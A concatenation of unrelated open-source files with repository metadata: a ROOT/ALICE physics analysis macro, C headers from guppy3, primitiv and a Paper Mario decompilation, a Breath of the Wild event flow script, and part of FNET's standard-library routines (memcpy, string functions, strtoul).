Float_t zMixBinSz = 14, //0.1, // Zv. bin for mixing
//---------------------------------------------------------------------------------
//
Bool_t checkReconstructables = kFALSE, //kTRUE, // fill histos for reconstructable (needs useMC and doRec)
Bool_t runLocal = kFALSE
//
)
{
//
if (cutSigDPhiS<0) cutSigDPhiS = TMath::Sqrt(cutSigNStd)*dphi;
//
needRecPoints = doRec || doInj || doRot || doMix;
//
printf("Start Analysis for %s, max %d Events skipping %d, Event Cuts: %.1f<eta<%.1f, %.2f<Zv<%.2f\n",
dataset.Data(),nEvents,nEventsSkip,etaMin,etaMax,zMin,zMax);
printf("Centrality variable: %s\n",useCentVar);
printf("Tracklet cuts: dPhi:%.3f dTheta:%.3f phiShift:%.4f | Keep %.1f NstDev\n"
"Scale dTheta: %s | Signal Selection: NstDev:%.1f, dPhiS: %.3f\n",
dphi,dtht,phishift,nStdDev,scaleDTheta ? "ON":"OFF",
cutSigNStd,cutSigDPhiS);
//
printf("UseMC: %s. V0 scale: %.4f\n",useMC ? "ON":"OFF",scaleMCV0);
printf("Operations: \n"
"Reco:%s (RemOvl:%s phi:%.3f zeta:%.3f)\n"
"Inj:%s (scale: %.2f)\n"
"Rot:%s (phi: %.4f)\n"
"Mix:%s (Nt:%.1f:%.1f:%.1f Zv:%.1f:%.1f:%.2f)\n",
doRec ? "ON":"OFF",remOvl? "ON":"OFF",ovlPhiCut,ovlZetaCut,
doInj ? "ON":"OFF",injScale,
doRot ? "ON":"OFF",phiRot,
doMix ? "ON":"OFF",ntMin,ntMax,ntMixBinSz, zMin,zMax,zMixBinSz);
//
if (nEvents<0) nEvents = int(1e9);
TString format = GetFormatFromDataSet(dataset);
//
// ALICE stuff
AliAnalysisManager *mgr = AliAnalysisManager::GetAnalysisManager();
if (!mgr) mgr = new AliAnalysisManager("Test train");
//
InputHandlerSetup(format,useMC);
if (doMix) MixHandlerSetup(ntMin,ntMax,ntMixBinSz, zMin,zMax,zMixBinSz);
// compile our task
gProof->Load("AliITSMultRecBg.cxx++g");
gProof->Load("AliTrackletTaskMulti.cxx++g");
//
printf("Loading Centrality task\n");
//gROOT->LoadMacro("$ALICE_ROOT/ANALYSIS/macros/AddTaskCentrality.C");
gROOT->LoadMacro("$ALICE_ROOT/ANALYSIS/macros/AddTaskCentrality.C");
AliCentralitySelectionTask *taskCentrality = AddTaskCentrality();
// taskCentrality->SetPass(2);
// taskCentrality->SetDebugLevel(2);
if (useMC) taskCentrality->SetMCInput();
// taskCentrality->Dump();
//
//================================================================================
printf("Requesting physics selection in %s mode\n",useMC ? "MC":"Data");
// /*
gROOT->ProcessLine(".L $ALICE_ROOT/ANALYSIS/macros/AddTaskPhysicsSelection.C");
//gROOT->ProcessLine(".L AddTaskPhysicsSelection.C");
AliPhysicsSelectionTask* physicsSelectionTask = AddTaskPhysicsSelection(useMC, 1,0, !runLocal);
//
gROOT->LoadMacro("$ALICE_ROOT/ANALYSIS/macros/PhysicsSelectionOADB_CINT5_pA.C");
// AddExtraSel
//
//
// */
/*
AliPhysicsSelection* physSel = new AliPhysicsSelection();
if (useMC) physSel->SetAnalyzeMC();
AliInputEventHandler* handlerInp = dynamic_cast<AliInputEventHandler*> (mgr->GetInputEventHandler());
if (handlerInp) handlerInp->SetEventSelection(physSel);
*/
//
//==================================================================================
//
// load and run AddTask macro
gROOT->LoadMacro("AddMultTaskTrackletMulti.C");
//
// create our task
AliTrackletTaskMulti *mltTask = AddMultTaskTrackletMulti(outFName.Data(), !runLocal);
//
mltTask->SetUseCentralityVar(useCentVar);
mltTask->SetDoNormalReco(doRec);
mltTask->SetDoInjection(doInj);
mltTask->SetDoRotation(doRot);
mltTask->SetDoMixing(doMix);
//
mltTask->SetUseMC(useMC);
mltTask->SetCheckReconstructables(checkReconstructables);
//
mltTask->SetEtaMin(etaMin);
mltTask->SetEtaMax(etaMax);
mltTask->SetZVertexMin(zMin);
mltTask->SetZVertexMax(zMax);
//
mltTask->SetDPhiSCut(cutSigDPhiS);
mltTask->SetNStdCut(cutSigNStd);
mltTask->SetScaleMCV0(scaleMCV0);
//
mltTask->SetScaleDThetaBySin2T(scaleDTheta);
mltTask->SetNStdDev(nStdDev);
mltTask->SetPhiWindow(dphi);
mltTask->SetThetaWindow(dtht);
mltTask->SetPhiShift(phishift);
mltTask->SetPhiOverlapCut(ovlPhiCut);
mltTask->SetZetaOverlapCut(ovlZetaCut);
mltTask->SetPhiRot(phiRot);
mltTask->SetInjScale(injScale);
mltTask->SetRemoveOverlaps(remOvl);
//
//mltTask->SelectCollisionCandidates();//AliVEvent::kMB);
//
printf("new Task: %p\n",mltTask);
//
// */
// Run analysis
mgr->InitAnalysis();
// process dataset
mgr->StartAnalysis("proof", dataset.Data(), nEvents, nEventsSkip);
//
TString evstCmd = "if [ -e event_stat.root ]; then \nmv event_stat.root evstat_";
evstCmd += outFName; evstCmd += " \nfi";
gSystem->Exec( evstCmd.Data() );
}
TString GetFormatFromDataSet(TString dataset) {
// Info("runAAF.C","Detecting format from dataset (may take while, depends on network connection)...");
TString dsTreeName;
if (dataset.Contains("#")) {
Info("runAAF.C",Form("Detecting format from dataset name '%s' ...",dataset.Data()));
dsTreeName=dataset(dataset.Last('#'),dataset.Length());
} else {
Info("runAAF.C",Form("Detecting format from dataset '%s' (may take while, depends on network connection) ...",dataset.Data()));
TFileCollection *ds = gProof->GetDataSet(dataset.Data());
if (!ds) {
Error(Form("Dataset %s doesn't exist on proof cluster!!!!",dataset.Data()));
return "";
}
dsTreeName = ds->GetDefaultTreeName();
}
printf("Dataset is : %s\n",dsTreeName.Data());
if (dsTreeName.Contains("esdTree")) {
Info("runAAF.C","ESD input format detected ...");
return "ESD";
} else if (dsTreeName.Contains("aodTree")) {
Info("runAAF.C","AOD input format detected ...");
return "AOD";
} else {
Error("runAAF.C",Form("Tree %s is not supported !!!",dsTreeName.Data()));
Error("runAAF.C",Form("Maybe set your DS to %s#esdTree or %s#aodTree",dataset.Data(),dataset.Data()));
}
return "";
}
Bool_t InputHandlerSetup(TString format = "esd", Bool_t useKine = kTRUE)
{
format.ToLower();
AliAnalysisManager *mgr = AliAnalysisManager::GetAnalysisManager();
AliAnalysisDataContainer *cin = mgr->GetCommonInputContainer();
if (cin) return;
if (!format.CompareTo("esd"))
{
AliESDInputHandler *esdInputHandler = dynamic_cast<AliESDInputHandler*>(AliAnalysisManager::GetAnalysisManager()->GetInputEventHandler());
if (!esdInputHandler)
{
Info("CustomAnalysisTaskInputSetup", "Creating esdInputHandler ...");
if (needRecPoints)
esdInputHandler = new AliESDInputHandlerRP();
else
esdInputHandler = new AliESDInputHandler();
//
mgr->SetInputEventHandler(esdInputHandler);
}
//
if (useKine)
{
AliMCEventHandler* mcInputHandler = dynamic_cast<AliMCEventHandler*>(AliAnalysisManager::GetAnalysisManager()->GetMCtruthEventHandler());
if (!mcInputHandler)
{
Info("CustomAnalysisTaskInputSetup", "Creating mcInputHandler ...");
AliMCEventHandler* mcInputHandler = new AliMCEventHandler();
mgr->SetMCtruthEventHandler(mcInputHandler);
}
mcInputHandler->SetPreReadMode(AliMCEventHandler::kLmPreRead);
}
}
else if (!format.CompareTo("aod"))
{
AliAODInputHandler *aodInputHandler = dynamic_cast<AliAODInputHandler*>(AliAnalysisManager::GetAnalysisManager()->GetInputEventHandler());
if (!aodInputHandler)
{
Info("CustomAnalysisTaskInputSetup", "Creating aodInputHandler ...");
aodInputHandler = new AliAODInputHandler();
mgr->SetInputEventHandler(aodInputHandler);
}
}
else
{
Info("Wrong input format!!! Only ESD and AOD are supported. Skipping Task ...");
return kFALSE;
}
return kTRUE;
}
void MixHandlerSetup(float ntMin,float ntMax,float ntMixBinSz,
float zMin, float zMax, float zMixBinSz)
{
AliAnalysisManager *mgr = AliAnalysisManager::GetAnalysisManager();
if (!mgr) return;
int bufferSize = 1;
AliESDInputHandlerRP *esdH = dynamic_cast<AliESDInputHandlerRP*>(mgr->GetInputEventHandler());
if (!esdH) return;
//
AliMixEventInputHandler *esdMixH = new AliMixEventInputHandler(bufferSize);
esdMixH->SetInputHandlerForMixing(esdH);
AliMixEventPool *evPool = new AliMixEventPool("MyPool");
AliMixEventCutObj *tracklets = new AliMixEventCutObj(AliMixEventCutObj::kNumberTracklets, ntMin,ntMax,ntMixBinSz);
AliMixEventCutObj *zvertex = new AliMixEventCutObj(AliMixEventCutObj::kZVertex, zMin,zMax, zMixBinSz);
// evPool->AddCut(tracklets);
evPool->AddCut(zvertex);
//evPool->Init();
evPool->Print();
esdMixH->SetEventPool(evPool);
esdH->SetMixingHandler(esdMixH);
}
void AddPhysicsSelection(Bool_t isMC)
{
// physics selection a la Michele
if(!isMC) {
//AliPhysicsSelection * physSel = physicsSelectionTask->GetPhysicsSelection();
// physSel->AddCollisionTriggerClass("+CMBAC-B-NOPF-ALL");
/*
physSel->AddCollisionTriggerClass("+CMBS1C-B-NOPF-ALL");
physSel->AddCollisionTriggerClass("+CMBS1A-B-NOPF-ALL");
*/
//
// physSel->AddCollisionTriggerClass("+CMBS2C-B-NOPF-ALL");
// physSel->AddCollisionTriggerClass("+CMBS2A-B-NOPF-ALL");
//
// This are needed only to fill the statistics tables
// physSel->AddBGTriggerClass("+CMBAC-C-NOPF-ALL");
// physSel->AddBGTriggerClass("+CMBAC-A-NOPF-ALL");
// physSel->AddBGTriggerClass("+CMBAC-E-NOPF-ALL");
//
/*
physSel->AddBGTriggerClass("+CMBS1C-C-NOPF-ALL");
physSel->AddBGTriggerClass("+CMBS1C-A-NOPF-ALL");
physSel->AddBGTriggerClass("+CMBS1C-E-NOPF-ALL");
//
physSel->AddBGTriggerClass("+CMBS1A-C-NOPF-ALL");
physSel->AddBGTriggerClass("+CMBS1A-A-NOPF-ALL");
physSel->AddBGTriggerClass("+CMBS1A-E-NOPF-ALL");
//
*/
/*
//
physSel->AddBGTriggerClass("+CMBS2C-C-NOPF-ALL");
physSel->AddBGTriggerClass("+CMBS2C-A-NOPF-ALL");
physSel->AddBGTriggerClass("+CMBS2C-E-NOPF-ALL");
//
physSel->AddBGTriggerClass("+CMBS2A-C-NOPF-ALL");
physSel->AddBGTriggerClass("+CMBS2A-A-NOPF-ALL");
physSel->AddBGTriggerClass("+CMBS2A-E-NOPF-ALL");
*/
}
// if you use the following line, your task only gets the selected events
// task->SelectCollisionCandidates(AliVEvent::kUserDefined);
// task->SelectCollisionCandidates();
//
//Alternatively, in the UserExec of your task:
//Bool_t isSelected = (((AliInputEventHandler*)(AliAnalysisManager::GetAnalysisManager()->GetInputEventHandler()))->IsEventSelected() & AliVEvent::kUserDefined);
//
}
|
57860823a7ed4ce522d5ba69054b09bf592de657
|
41db6c672362ccafdd28af40ecf7df51ffa90a15
|
/src/heapy/heapy.h
|
7b7b0e5903039527a88a2c8f3662a62539728b64
|
[
"LicenseRef-scancode-warranty-disclaimer",
"MIT"
] |
permissive
|
zhuyifei1999/guppy3
|
e5649a066199a92dc3bf8e77bdd6ffb44e790449
|
1b2db87af36388e43afd6ce5774b869bcc4a9452
|
refs/heads/master
| 2023-06-24T23:03:52.612921
| 2023-06-17T01:18:06
| 2023-06-17T01:54:06
| 202,611,372
| 371
| 24
|
MIT
| 2023-06-17T01:54:09
| 2019-08-15T21:05:15
|
Python
|
UTF-8
|
C
| false
| false
| 1,258
|
h
|
heapy.h
|
#ifndef Ny_HEAPY_H
struct ExtraType;
typedef struct {
PyObject_HEAD
PyObject *root;
PyObject *limitframe;
PyObject *_hiding_tag_;
PyObject *static_types;
PyObject *weak_type_callback;
char is_hiding_calling_interpreter;
struct ExtraType **xt_table;
int xt_mask;
size_t xt_size;
} NyHeapViewObject;
#define NyHeapView_Check(op) PyObject_TypeCheck(op, &NyHeapView_Type)
typedef struct ExtraType {
PyTypeObject *xt_type;
size_t (*xt_size)(PyObject *obj);
int (*xt_traverse)(struct ExtraType *, PyObject *, visitproc, void *);
int (*xt_relate)(struct ExtraType *, NyHeapRelate *r);
struct ExtraType *xt_next;
struct ExtraType *xt_base, *xt_he_xt;
int (*xt_he_traverse)(struct ExtraType *, PyObject *, visitproc, void *);
NyHeapViewObject *xt_hv;
PyObject *xt_weak_type;
NyHeapDef *xt_hd;
Py_ssize_t xt_he_offs;
int xt_trav_code;
} ExtraType;
typedef struct NyHeapClassifier{
PyObject_HEAD
PyObject (*classify)(struct NyHeapClassifier*self, PyObject *obj);
void *extra0, *extra1, *extra2, *extra3;
} NyHeapClassifier;
extern PyObject _Ny_RootStateStruct; /* Don't use this directly */
#define Ny_RootState (&_Ny_RootStateStruct)
#endif /* Ny_HEAPY_H */
|
0adc9b7a7caafdd28b13b05e7e67290cd6f88be4
|
b7b5497f6c24f13f7ea7c87ddabcb70d0865d339
|
/primitiv/c/device.h
|
2c4c30d041b6c8807eae7692c1e0102281f71ec7
|
[
"Apache-2.0"
] |
permissive
|
primitiv/primitiv
|
347a2950b3e871233cc20ea74c23e45d5176334c
|
db14ca4433730c4e7e47113c4c7816c9dc0cd4d9
|
refs/heads/develop
| 2022-03-27T15:04:10.549375
| 2019-10-28T11:47:04
| 2019-10-28T11:47:04
| 90,536,375
| 125
| 20
|
Apache-2.0
| 2019-12-11T11:58:37
| 2017-05-07T13:57:41
|
C++
|
UTF-8
|
C
| false
| false
| 1,189
|
h
|
device.h
|
#ifndef PRIMITIV_C_DEVICE_H_
#define PRIMITIV_C_DEVICE_H_
#include <primitiv/c/define.h>
/**
* Opaque type of Device.
*/
typedef struct primitivDevice primitivDevice_t;
/**
* Retrieves the current default device.
* @param retval Pointer to receive the current default device.
* @return Status code.
* @remarks The pointer returned by this function is owned by the library, and
* should not be passed to `primitiv_Device_delete()`.
*/
PRIMITIV_C_API PRIMITIV_C_STATUS primitivGetDefaultDevice(
primitivDevice_t **retval);
/**
* Specifies a new default device.
* @param device Pointer of the new default device.
* @return Status code.
*/
PRIMITIV_C_API PRIMITIV_C_STATUS primitivSetDefaultDevice(
primitivDevice_t *device);
/**
* Deletes the Device object.
* @param device Pointer of a handler.
* @return Status code.
*/
PRIMITIV_C_API PRIMITIV_C_STATUS primitivDeleteDevice(
primitivDevice_t *device);
/**
* Prints device description to stderr.
* @param device Pointer of a handler.
* @return Status code.
*/
PRIMITIV_C_API PRIMITIV_C_STATUS primitivDumpDeviceDescription(
const primitivDevice_t *device);
#endif // PRIMITIV_C_DEVICE_H_
|
5d880ff31b3589001265745dbe9577c9c53c4ea5
|
61be4a7bfc24468a1227ea797150520c83257844
|
/event/Npc_HiddenKorokFly.c
|
f2039250168c9a08a7eb550277d7fd897c7e6e44
|
[] |
no_license
|
MrCheeze/botw-tools
|
491e6a2d06191efa7fc7048aefb48b3b38a59a52
|
9a9e845beed87f5ec417c01e515d0fa01366366c
|
refs/heads/master
| 2022-06-26T01:34:38.353269
| 2022-06-20T14:52:01
| 2022-06-20T14:53:26
| 85,882,713
| 238
| 92
| null | 2017-05-01T22:15:30
| 2017-03-22T22:34:34
|
Python
|
UTF-8
|
C
| false
| false
| 586
|
c
|
Npc_HiddenKorokFly.c
|
-------- EventFlow: Npc_HiddenKorokFly --------
Actor: Npc_HiddenKorokFly
entrypoint: None()
actions: ['Demo_Talk']
queries: []
params: {'CreateMode': 0, 'IsGrounding': False, 'IsWorld': False, 'PosX': 0.0, 'PosY': 0.0, 'PosZ': 0.0, 'RotX': 0.0, 'RotY': 0.0, 'RotZ': 0.0}
void Talk() {
call InitTalk.InitTalk({'Arg_Greeting': 'NotAndNot', 'Arg_Turn': 1})
Npc_HiddenKorokFly.Demo_Talk({'ASName': 'Talk', 'IsWaitFinish': True, 'IsCloseMessageDialog': False, 'IsBecomingSpeaker': True, 'IsOverWriteLabelActorName': False, 'MessageId': 'EventFlowMsg/Npc_HiddenKorok:talk00'})
}
|
72f5cbee3bfc4b499cc9a1c6ddcee2063d556711
|
e73547787354afd9b717ea57fe8dd0695d161821
|
/include/messages.h
|
946784769f6020d6f0b759d350973bd3f442b9c3
|
[] |
no_license
|
pmret/papermario
|
8b514b19653cef8d6145e47499b3636b8c474a37
|
9774b26d93f1045dd2a67e502b6efc9599fb6c31
|
refs/heads/main
| 2023-08-31T07:09:48.951514
| 2023-08-21T18:07:08
| 2023-08-21T18:07:08
| 287,151,133
| 904
| 139
| null | 2023-09-14T02:44:23
| 2020-08-13T01:22:57
|
C
|
UTF-8
|
C
| false
| false
| 207
|
h
|
messages.h
|
#ifndef _MESSAGES_H_
#define _MESSAGES_H_
#include "types.h"
// Prefer editing splat.yaml's msg ids section than using this directly!
#define MESSAGE_ID(section, index) (((section << 16) + index))
#endif
|
e81f92b37234d2666102e2cd0c7cdf8c40adb696
|
62bf09400de89c1aa77d8c2570d7f66cec0b5d36
|
/fnet_stack/stack/fnet_stdlib.c
|
f551c81283c6235cd5bdf6fb79cc369b10bbb8f4
|
[
"Apache-2.0"
] |
permissive
|
butok/FNET
|
41b1d2ec4cc683c1b5c188a17ab6a4bb890a6af6
|
ea43715752e6f6823bfcc8bdc94e440443112e7c
|
refs/heads/master
| 2023-08-03T16:32:09.317085
| 2023-07-20T07:01:55
| 2023-07-20T07:01:55
| 50,664,554
| 115
| 40
|
Apache-2.0
| 2023-07-20T07:01:56
| 2016-01-29T13:39:30
|
C
|
UTF-8
|
C
| false
| false
| 22,098
|
c
|
fnet_stdlib.c
|
/**************************************************************************
*
* Copyright 2008-2018 by Andrey Butok. FNET Community.
*
***************************************************************************
*
* Licensed under the Apache License, Version 2.0 (the "License"); you may
* not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
* WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*
***************************************************************************
*
* Standard functions implementation.
*
***************************************************************************/
#include "fnet.h"
static fnet_uint32_t fnet_rand_seed; /* Used by fnet_rand()*/
#if !FNET_CFG_OVERLOAD_MEMCPY
/************************************************************************
* DESCRIPTION:
*************************************************************************/
#if 0
/* Slowest && Smallest */
void fnet_memcpy( FNET_COMP_PACKED_VAR void *dest, FNET_COMP_PACKED_VAR const void *src, fnet_size_t n )
{
const fnet_uint8_t *p = (fnet_uint8_t *)src;
fnet_uint8_t *q = (fnet_uint8_t *)dest;
for (n++; --n; )
{
*q++ = *p++;
}
}
#elif 0 /* Faster. */
void fnet_memcpy (FNET_COMP_PACKED_VAR void *dest, FNET_COMP_PACKED_VAR const void *src, fnet_size_t n)
{
fnet_size_t longs;
fnet_size_t bytes;
FNET_COMP_PACKED_VAR fnet_uint32_t *dpl = (fnet_uint32_t *)dest;
FNET_COMP_PACKED_VAR fnet_uint32_t *spl = (fnet_uint32_t *)src;
fnet_uint8_t *dpb, *spb;
bytes = (n & 0x3);
longs = ((n - bytes) >> 2);
for (longs++; --longs;)
{
*dpl++ = *spl++;
}
dpb = (fnet_uint8_t *)dpl;
spb = (fnet_uint8_t *)spl;
for (bytes++; --bytes;)
{
*dpb++ = *spb++;
}
}
#else /* Fastest & Biggest. */
void fnet_memcpy(FNET_COMP_PACKED_VAR void *to_ptr, FNET_COMP_PACKED_VAR const void *from_ptr, fnet_size_t number_of_bytes)
{
const fnet_uint8_t *from8_ptr = (const fnet_uint8_t *) from_ptr;
fnet_uint8_t *to8_ptr = (fnet_uint8_t *) to_ptr;
FNET_COMP_PACKED_VAR const fnet_uint16_t *from16_ptr = (const fnet_uint16_t *) from_ptr;
FNET_COMP_PACKED_VAR fnet_uint16_t *to16_ptr = (fnet_uint16_t *) to_ptr;
FNET_COMP_PACKED_VAR const fnet_uint32_t *from32_ptr = (const fnet_uint32_t *) from_ptr;
FNET_COMP_PACKED_VAR fnet_uint32_t *to32_ptr = (fnet_uint32_t *) to_ptr;
fnet_index_t loops;
/*
* The copying is optimized to avoid alignment problems, and attempts
* to copy 32bit numbers optimally.
*/
if (number_of_bytes > 3u)
{
/* Try to align source on word */
if (((fnet_uint32_t)from_ptr & 1u) != 0u)
{
from8_ptr = (const fnet_uint8_t *) from_ptr;
to8_ptr = (fnet_uint8_t *) to_ptr;
*to8_ptr++ = *from8_ptr++;
from_ptr = from8_ptr;
to_ptr = to8_ptr;
--number_of_bytes;
}
/* Try to align source on longword */
if ((((fnet_uint32_t)from_ptr) & 2u) != 0u)
{
from16_ptr = (const fnet_uint16_t *) from_ptr;
to16_ptr = (fnet_uint16_t *) to_ptr;
*to16_ptr++ = *from16_ptr++;
from_ptr = from16_ptr;
to_ptr = to16_ptr;
number_of_bytes -= 2u;
}
from32_ptr = (const fnet_uint32_t *) from_ptr;
to32_ptr = (fnet_uint32_t *) to_ptr;
/*
** To increase performance a bit, we will copy 64 bytes (16 * longwords) sequentially
** This gets less instruction cycles.
*/
for (loops = (number_of_bytes >> 6u); loops > 0u; loops--)
{
/* copy 16 longwords */
*to32_ptr++ = *from32_ptr++;
*to32_ptr++ = *from32_ptr++;
*to32_ptr++ = *from32_ptr++;
*to32_ptr++ = *from32_ptr++;
*to32_ptr++ = *from32_ptr++;
*to32_ptr++ = *from32_ptr++;
*to32_ptr++ = *from32_ptr++;
*to32_ptr++ = *from32_ptr++;
*to32_ptr++ = *from32_ptr++;
*to32_ptr++ = *from32_ptr++;
*to32_ptr++ = *from32_ptr++;
*to32_ptr++ = *from32_ptr++;
*to32_ptr++ = *from32_ptr++;
*to32_ptr++ = *from32_ptr++;
*to32_ptr++ = *from32_ptr++;
*to32_ptr++ = *from32_ptr++;
}
/* Now, write the rest of bytes */
for (loops = ((number_of_bytes >> 2) & 0xFu); loops > 0u; loops--)
{
*to32_ptr++ = *from32_ptr++;
}
from_ptr = from32_ptr;
to_ptr = to32_ptr;
}
/* Copy all remaining bytes */
if ((number_of_bytes & 2u) != 0u)
{
from16_ptr = (const fnet_uint16_t *) from_ptr;
to16_ptr = (fnet_uint16_t *) to_ptr;
*to16_ptr++ = *from16_ptr++;
from_ptr = from16_ptr;
to_ptr = to16_ptr;
}
if ((number_of_bytes & 1u) != 0u)
{
* (fnet_uint8_t *) to_ptr = * (const fnet_uint8_t *) from_ptr;
}
}
#endif
#endif
/************************************************************************
* DESCRIPTION: Copy function to other location.
* Used for relocate function from Flash to RAM
*
*************************************************************************/
void *fnet_memcpy_func(void *to_buf_ptr, const void *from_func_ptr, fnet_size_t to_buf_size)
{
fnet_memcpy(to_buf_ptr, (void *)FNET_CPU_INSTRUCTION_TO_ADDR(from_func_ptr), to_buf_size);
return (void *)FNET_CPU_ADDR_TO_INSTRUCTION(to_buf_ptr);
}
/************************************************************************
* DESCRIPTION:
*************************************************************************/
void fnet_memset( void *dest, fnet_uint8_t value, fnet_size_t n )
{
/* Not optimized */
fnet_uint8_t *sp = (fnet_uint8_t *)dest;
while(n)
{
*sp++ = (fnet_uint8_t)value;
n--;
}
}
/************************************************************************
* DESCRIPTION: Same as "fnet_memset( void *s, 0, unsigned n )"
*************************************************************************/
void fnet_memset_zero( void *dest, fnet_size_t n )
{
/* Not optimized */
fnet_uint8_t *sp = (fnet_uint8_t *)dest;
while(n)
{
*sp++ = 0u;
n--;
}
}
/************************************************************************
* DESCRIPTION: Compare two memory regions and return zero if they are identical,
* non-zero otherwise. If count is zero, return zero.
*************************************************************************/
fnet_int32_t fnet_memcmp(const void *src1, const void *src2, fnet_size_t count )
{
const fnet_uint8_t *p1 = (const fnet_uint8_t *)src1;
const fnet_uint8_t *p2 = (const fnet_uint8_t *)src2;
fnet_int32_t result = 0;
while(count)
{
result = (fnet_int32_t)(*p1 - *p2);
if(result != 0)
{
break;
}
count--;
++p1;
++p2;
}
return result;
}
/************************************************************************
* DESCRIPTION:
*************************************************************************/
fnet_int32_t fnet_strcmp( const fnet_char_t *str1, const fnet_char_t *str2 )
{
/* No checks for 0 */
const fnet_char_t *s1p = str1;
const fnet_char_t *s2p = str2;
while(*s2p != '\0')
{
if(*s1p != *s2p)
{
break;
}
++s1p;
++s2p;
}
return (fnet_int32_t)(*s1p - *s2p);
}
/************************************************************************
* DESCRIPTION: Calculates the length of a string.
*************************************************************************/
fnet_size_t fnet_strlen (const fnet_char_t *str)
{
const fnet_char_t *s = str;
fnet_size_t len = 0U;
if(s)
{
while (*s++ != '\0')
{
len++;
}
}
return len;
}
/************************************************************************
* DESCRIPTION: Calculate the length of a fixed-size string.
*************************************************************************/
fnet_size_t fnet_strnlen (const fnet_char_t *str, fnet_size_t max_len)
{
const fnet_char_t *s = str;
fnet_size_t len = 0U;
if(s)
{
while (*s++ != '\0')
{
if(max_len == len)
{
break;
}
else
{
len++;
}
}
}
return len;
}
/************************************************************************
* DESCRIPTION:
*************************************************************************/
void fnet_strcat (fnet_char_t *dest, const fnet_char_t *src)
{
fnet_char_t *dp;
const fnet_char_t *sp = src;
if ((dest != 0) && (src != 0))
{
dp = &dest[fnet_strlen(dest)];
while (*sp != '\0')
{
*dp++ = *sp++;
}
*dp = '\0';
}
}
/************************************************************************
* DESCRIPTION:
*************************************************************************/
void fnet_strlcat (fnet_char_t *dest, const fnet_char_t *src, fnet_size_t n)
{
fnet_char_t *dp;
const fnet_char_t *sp = src;
if ((dest != 0) && (src != 0) && (n > 0U))
{
dp = &dest[fnet_strlen(dest)];
while((*sp != '\0') && (n > 0u))
{
*dp++ = *sp++;
n--;
}
*dp = '\0';
}
}
/************************************************************************
* DESCRIPTION:
*************************************************************************/
void fnet_strcpy (fnet_char_t *dest, const fnet_char_t *src)
{
fnet_char_t *dp = dest;
const fnet_char_t *sp = src;
if ((dest != 0) && (src != 0))
{
while (*sp != '\0')
{
*dp++ = *sp++;
}
*dp = '\0';
}
}
/************************************************************************
* DESCRIPTION:
*************************************************************************/
void fnet_strlcpy( fnet_char_t *dest, const fnet_char_t *src, fnet_size_t n )
{
fnet_char_t *dp = dest;
const fnet_char_t *sp = src;
if((dest != 0) && (src != 0) && (n > 0u))
{
while((*sp != '\0') && (n-- > 0u))
{
*dp++ = *sp++;
}
*dp = '\0';
}
}
/************************************************************************
* DESCRIPTION: The function fnet_strrchr() returns a pointer to the last
* occurrence of chr in str, or FNET_NULL if no match is found.
*************************************************************************/
fnet_char_t *fnet_strrchr(const fnet_char_t *str, fnet_char_t chr )
{
const fnet_char_t *p = str;
const fnet_char_t *q = 0;
fnet_char_t c = chr;
fnet_char_t ch = *p++;
while(ch)
{
if(ch == c)
{
q = p - 1;
}
ch = *p++;
}
if(q)
{
return (fnet_char_t *)(q);
}
return (c ? FNET_NULL : (fnet_char_t *)(p - 1));
}
/************************************************************************
* DESCRIPTION: The function fnet_strchr() returns a pointer to the first
* occurence of chr in str, or 0 if chr is not found.
*************************************************************************/
fnet_char_t *fnet_strchr( const fnet_char_t *str, fnet_char_t chr )
{
const fnet_char_t *p = str;
fnet_char_t c = chr;
fnet_char_t ch = *p++;
while(ch)
{
if(ch == c)
{
return (fnet_char_t *)(p - 1);
}
ch = *p++;
}
return (fnet_char_t *)(c ? FNET_NULL : (p - 1));
}
/************************************************************************
* DESCRIPTION: The function fnet_strstr() returns a pointer to the first
* occurrence of substr in str, or 0 if no match is found.
* If the length of pat is zero, then fnet_strstr() will
* simply return str.
*************************************************************************/
fnet_char_t *fnet_strstr( const fnet_char_t *str, const fnet_char_t *substr )
{
const fnet_char_t *s1 = str;
const fnet_char_t *p1 = substr;
fnet_uint8_t firstc, c1, c2;
if((substr == 0) || (!((firstc = *p1++) != 0u)) )
{
return (fnet_char_t *)(str);
}
c1 = *s1++;
while(c1)
{
if(c1 == firstc)
{
const fnet_char_t *s2 = s1;
const fnet_char_t *p2 = p1;
while(((c1 = *s2++) == (c2 = *p2++)) && c1)
{}
if(!c2)
{
return ((fnet_char_t *)(s1 - 1));
}
}
c1 = *s1++;
}
return (0);
}
/************************************************************************
* DESCRIPTION: The fnet_strncmp() function compares at most count characters
* of str1 and str2.
*************************************************************************/
fnet_int32_t fnet_strncmp( const fnet_char_t *str1, const fnet_char_t *str2, fnet_size_t n )
{
const fnet_char_t *p1 = str1;
const fnet_char_t *p2 = str2;
fnet_uint8_t c1, c2;
n++;
while(--n)
{
if((c1 = *p1++) != (c2 = *p2++))
{
return (fnet_int32_t)(c1 - c2);
}
else if(!c1)
{
break;
}
else
{}
}
return (0);
}
/************************************************************************
* DESCRIPTION:
*************************************************************************/
fnet_uint32_t fnet_strtoul (const fnet_char_t *str, fnet_char_t **ptr, fnet_size_t base)
{
fnet_uint32_t rvalue;
fnet_bool_t err;
fnet_bool_t neg;
fnet_char_t c;
fnet_char_t *endp;
fnet_char_t *startp;
rvalue = 0u;
err = FNET_FALSE;
neg = FNET_FALSE;
/* Check for invalid arguments */
if ((str == 0) || (base == 1u) || (base > 36u))
{
if (ptr != 0)
{
*ptr = (fnet_char_t *)str;
}
return 0u;
}
/* Skip leading white spaces */
for (startp = (fnet_char_t *)str; ((*startp == ' ') || (*startp == '\t')) ; ++startp)
{}
/* Check for notations */
switch (startp[0])
{
case '0':
if ((startp[1] == 'x') || (startp[1] == 'X'))
{
if ((base == 0u) || (base == 16u))
{
base = 16u;
startp = &startp[2];
}
}
break;
case '-':
neg = FNET_TRUE;
startp = &startp[1];
break;
default:
break;
}
if (base == 0u)
{
base = 10u;
}
/* Check for invalid chars in str */
for ( endp = startp; (err == FNET_FALSE) && ((c = (*endp)) != '\0') && (!((*endp == ' ') || (*endp == '\t'))); ++endp)
{
/* Check for 0..9,Aa-Zz */
if (!(((c >= '0') && (c <= '9')) ||
((c >= 'A') && (c <= 'Z')) ||
((c >= 'a') && (c <= 'z'))))
{
err = FNET_TRUE;
}
else
{
/* Convert fnet_char_t to num in 0..36 */
if ((c >= '0') && (c <= '9')) /* Is digit.*/
{
c = c - '0';
}
else
{
